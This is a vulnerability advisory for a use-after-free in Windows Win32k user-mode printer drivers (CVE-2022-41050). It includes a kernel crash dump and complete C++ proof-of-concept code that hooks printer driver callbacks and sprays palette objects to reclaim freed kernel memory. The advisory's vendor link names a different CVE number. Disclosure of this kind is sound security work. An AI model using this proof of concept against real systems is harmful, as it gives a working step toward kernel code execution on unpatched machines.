Win32k User-Mode Printer Drivers StartDoc UAF

Summary

A vulnerability in the UMPD (User-Mode Printer Drivers) allows local users to trigger a use-after-free vulnerability. The vulnerability works from Windows 8 and above, and is fairly easy to exploit on older Windows machines.

Credit

An independent security researcher working SSD Secure Disclosure.

CVE

 CVE-2022-41050

Vendor Response

The vendor has released patches available at: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41109

 

Technical Analysis

A vulnerability in the way BoundClipRGNToSurface merges surfaces allows attackers to trigger a use after free due to a function that frees the used data and then access it. If the memory where the freed memory is properly prepared, the attacker can control the crash and cause it to execute arbitrary code.

To trigger the vulnerability enable Windows 11’s Special Pool and launch the PoC, the following crash information will show up:

CONTEXT:  ffff808ee1ffd8a0 -- (.cxr 0xffff808ee1ffd8a0)
rax=ffff82b24d980f90 rbx=ffff808ee1ffe500 rcx=ffff808ee1ffe440
rdx=ffff82b253fd2f90 rsi=ffff808ee1ffe848 rdi=ffff808ee1ffe4f8
rip=ffff829502061123 rsp=ffff808ee1ffe2c0 rbp=ffff808ee1ffe440
 r8=ffff808ee1ffe450  r9=ffff82b253fd4f08 r10=414141414141413d
r11=0000000000000000 r12=0000000000000000 r13=ffff808ee1ffe9a8
r14=ffff82b253fd4f90 r15=4141414141414141
iopl=0         nv up ei pl nz ac pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050212
win32kbase!RGNOBJ::bMerge+0x43:
ffff8295`02061123 418b02          mov     eax,dword ptr [r10] ds:002b:41414141`4141413d=????????
Resetting default scope

PROCESS_NAME:  poc-bound.exe

STACK_TEXT:  
ffff808e`e1ffe2c0 ffff8295`032dcc4b     : ffff808e`e1ffe440 ffff808e`e1ffe848 ffff808e`e1ffe450 ffff808e`e1ffe408 : win32kbase!RGNOBJ::bMerge+0x43
ffff808e`e1ffe410 ffff8295`032492d1     : ffff82b2`4d966ce8 00000000`00000000 ffff808e`e1ffea30 ffff808e`e1ffea30 : win32kfull!BOUNDCLIPRGNTOSURFACE::BOUNDCLIPRGNTOSURFACE+0x9385f
ffff808e`e1ffe4a0 ffff8295`0324a97e     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32kfull!EngStrokePath+0x61
ffff808e`e1ffe610 ffff8295`0324b05e     : 00000000`00000d0d 00000000`1000a01f ffff808e`e1ffe780 00000000`00000001 : win32kfull!EPATHOBJ::bSimpleStroke+0x18a
ffff808e`e1ffe6f0 ffff8295`0324e5e1     : 00000000`00000001 00000000`00000001 00000000`00000000 00000000`00000000 : win32kfull!EPATHOBJ::bStrokeAndOrFill+0x596
ffff808e`e1ffe910 ffff8295`0324df38     : 00000000`14210982 00000000`00000014 ffff808e`00000387 00000000`14210982 : win32kfull!GreLineTo+0x661
ffff808e`e1ffed40 ffff8295`024bd54a     : 00000000`0000000e 00000000`0000025f 00000000`000003f8 ffffe784`60c40080 : win32kfull!NtGdiLineTo+0x68
ffff808e`e1ffedf0 fffff801`6b02f075     : 0000016b`f3d70680 0000016b`f6030000 0000003f`49daebd7 ffffe784`60d77080 : win32k!NtGdiLineTo+0x16
ffff808e`e1ffee20 00007ffb`148d1b14     : 00007ffb`13f72339 00007ffb`16acd240 0000016b`f3d71580 00000000`00000387 : nt!KiSystemServiceCopyEnd+0x25
0000003e`c9dae188 00007ffb`13f72339     : 00007ffb`16acd240 0000016b`f3d71580 00000000`00000387 00000000`00000000 : win32u!NtGdiLineTo+0x14
0000003e`c9dae190 00007ffb`14da4d37     : 0000016b`f3d73790 00000000`14210982 00000000`00000001 00000000`00000000 : gdi32full!LineToImpl+0x49
0000003e`c9dae1c0 00007ff7`7c29104c     : 0000003e`c9daebd8 0000003e`c9dae320 00000000`000003f8 00000000`0049414e : GDI32!LineTo+0x37
0000003e`c9dae1f0 00007ffb`13f7ccbe     : 0000003e`c9daebd8 0000016b`f57ba120 00000000`00000023 00007ffa`ddc50d68 : poc_bound!hook_DrvStrokePath+0x4c [F:\research\win32k\bugs\poc-bound\poc-bound\poc-bound.cpp @ 111] 
0000003e`c9dae230 00007ffb`157910be     : 0000016b`00000001 00007ffb`00000000 0000003e`c9daebd8 0000016b`f57b0150 : gdi32full!GdiPrinterThunk+0x177e
0000003e`c9dae300 00007ffb`16b07e04     : 00000000`00000010 0000016b`f5802720 00000000`00000011 00007ffa`ddc4f998 : USER32!__ClientPrinterThunk+0x3e
0000003e`c9daeb80 00007ffb`148d1b14     : 00007ffb`13f72339 0000016b`f57ba170 00007ffa`ddbbbeb3 00000000`00000258 : ntdll!KiUserCallbackDispatcherContinue
0000003e`c9daec38 00007ffb`13f72339     : 0000016b`f57ba170 00007ffa`ddbbbeb3 00000000`00000258 00000000`00000258 : win32u!NtGdiLineTo+0x14
0000003e`c9daec40 00007ffb`14da4d37     : 00007ffa`ddc48ce0 00000000`14210982 00000000`00000001 00000000`00000000 : gdi32full!LineToImpl+0x49
0000003e`c9daec70 00007ff7`7c291146     : 0000003e`c9daf678 0000003e`c9daedc0 0000016b`f3d73790 0000003e`0049414e : GDI32!LineTo+0x37
0000003e`c9daeca0 00007ffb`13f7c55e     : 0000003e`c9daf678 00007ffb`13f7c42a 00001b68`00001361 0000003e`c9daf688 : poc_bound!hook_DrvStartDoc+0x16 [F:\research\win32k\bugs\poc-bound\poc-bound\poc-bound.cpp @ 115] 
0000003e`c9daecd0 00007ffb`157910be     : 00000000`00000001 00007ffb`00000000 0000003e`c9daf678 00007ffb`00000000 : gdi32full!GdiPrinterThunk+0x101e
0000003e`c9daeda0 00007ffb`16b07e04     : 00000000`00000000 00007ffb`16b07e04 00007ff7`7c293330 0000016b`f3d9e3f0 : USER32!__ClientPrinterThunk+0x3e
0000003e`c9daf620 00007ffb`148d7694     : 00007ffb`13faff32 00000000`00000000 00000000`00000000 00000000`14210982 : ntdll!KiUserCallbackDispatcherContinue
0000003e`c9daf6a8 00007ffb`13faff32     : 00000000`00000000 00000000`00000000 00000000`14210982 00000000`00000003 : win32u!NtGdiStartDoc+0x14
0000003e`c9daf6b0 00007ffb`14dae2c2     : 0000016b`f3da2601 00000000`00000001 0000003e`c9daf8f0 00000000`00000000 : gdi32full!StartDocWImpl+0x5b2
0000003e`c9daf870 00007ff7`7c291301     : 0000016b`f3d55db0 00000000`00000000 00000000`0049414e 00000000`00000000 : GDI32!StartDocW+0x32
0000003e`c9daf8a0 00007ff7`7c291540     : 00000000`00000000 00007ff7`7c2915b9 00000000`00000000 00000000`00000000 : poc_bound!main+0x1b1 [F:\research\win32k\bugs\poc-bound\poc-bound\poc-bound.cpp @ 130] 
0000003e`c9daf940 00007ffb`149154e0     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : poc_bound!__scrt_common_main_seh+0x10c [d:\a01\_work\43\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288] 
0000003e`c9daf980 00007ffb`16a6485b     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x10
0000003e`c9daf9b0 00000000`00000000     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2b

PoC

#include <stdlib.h>  
#include <stdio.h>  
#include <limits.h>  
#include <iostream>
#include <windows.h>
#include <vector>
#include <winddi.h>
#include <winternl.h>


#define PRINTER_NAME L"Microsoft XPS Document Writer"

typedef BOOL(*DrvEnableDriver_t)(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA* pded);



HMODULE LoadPrinterDll()
{
    HANDLE hPrinter = NULL;

    // Open printer
    if (!OpenPrinterW((LPWSTR)PRINTER_NAME, &hPrinter, NULL))
    {
        puts("[-] Failed to open printer");
        return NULL;
    }

    // Get the printer driver
    DWORD pcbNeeded;
    GetPrinterDriverW(hPrinter, NULL, 2, NULL, 0, &pcbNeeded);

    DRIVER_INFO_2W* driverInfo = (DRIVER_INFO_2W*)malloc(pcbNeeded);
    if (!GetPrinterDriverW(hPrinter, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded))
    {
        return NULL;
    }

    // Load the printer driver into memory
    return LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);

}


HPALETTE createpalette_primitive(SHORT chunk_size) {
    WORD palette_entries_count, palette_size;
    LOGPALETTE* palette;

    palette_entries_count = (chunk_size - 0x90) / 4;
    palette_size = sizeof(LOGPALETTE) + (palette_entries_count - 1) * sizeof(PALETTEENTRY);
    palette = (LOGPALETTE*)malloc(palette_size);

    memset(palette, 0x41, palette_size);
    
    palette->palNumEntries = palette_entries_count;
    palette->palVersion = 0x300;

    return CreatePalette(palette);
}


VOID spray(UINT _chunk_size, UINT count) {
    for (UINT i = 0; i < count; i++) {
        createpalette_primitive(_chunk_size);
    }
}



BOOL hook_DrvStrokePath(SURFOBJ* pso, PATHOBJ* ppo, CLIPOBJ* pco, XFORMOBJ* pxo, BRUSHOBJ* pbo, POINTL* pptlBrushOrg, LINEATTRS* plineattrs, MIX       mix);
BOOL hook_DrvStartDoc(SURFOBJ* pso, LPWSTR  pwszDocName, DWORD   dwJobId);

void Setup_UmpdHook() {
    HMODULE hPrinter = LoadPrinterDll();
    DrvEnableDriver_t DrvEnableDriver = (DrvEnableDriver_t)GetProcAddress(hPrinter, "DrvEnableDriver");

    DRVENABLEDATA ded;
    DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(ded), &ded);

    DWORD lpOldProtect;
    VirtualProtect(ded.pdrvfn, ded.c * sizeof(PFN), PAGE_READWRITE, &lpOldProtect);

    for (int i = 0; i < ded.c; i++) {
        if (ded.pdrvfn[i].iFunc == INDEX_DrvStrokePath) {
            ded.pdrvfn[i].pfn = (PFN)hook_DrvStrokePath;
        }
        else if (ded.pdrvfn[i].iFunc == INDEX_DrvStartDoc) {
            ded.pdrvfn[i].pfn = (PFN)hook_DrvStartDoc;
        }
    }
}


//=====================
// Umpd Hooks
//=====================
HDC hdc = 0;

int hook_DrvStrokePath_count = 0;
BOOL hook_DrvStrokePath(SURFOBJ* pso, PATHOBJ* ppo, CLIPOBJ* pco, XFORMOBJ* pxo, BRUSHOBJ* pbo, POINTL* pptlBrushOrg, LINEATTRS* plineattrs, MIX       mix) {
    hook_DrvStrokePath_count++;
    if (hook_DrvStrokePath_count == 1) {
        ExcludeClipRect(hdc, 0x25f, 0x3f8, 0x1, 0x387);
        LineTo(hdc, 0, 0);
    }
    else if (hook_DrvStrokePath_count == 2) {
        ExcludeClipRect(hdc, 0x10a, 0x2d2, 0x243, 0x217);
        Ellipse(hdc, 0x15a, 0x3a1, 0x29, 0x10a);
        
        spray(0x120, 0x1000);   // Fill the Freed Region with 0x41414141
    }

    return FALSE;       // SHOULD RETURN FALSE
}

BOOL hook_DrvStartDoc(SURFOBJ* pso, LPWSTR  pwszDocName, DWORD   dwJobId) {
    LineTo(hdc, 0, 0);          // -> causes hook_DrvStrokePath to be called
    return TRUE;
}

int main(int argc, char **argv)
{
    Setup_UmpdHook();
    
    hdc = CreateDC(NULL, PRINTER_NAME, NULL, NULL);
    DOCINFO di;
    ZeroMemory(&di, sizeof(di));
    di.cbSize = sizeof(di);
    di.lpszDocName = L"Test";
    di.lpszOutput = L"Test.xps";
    StartDoc(hdc, &di);

    return 0;
}

?

Get in touch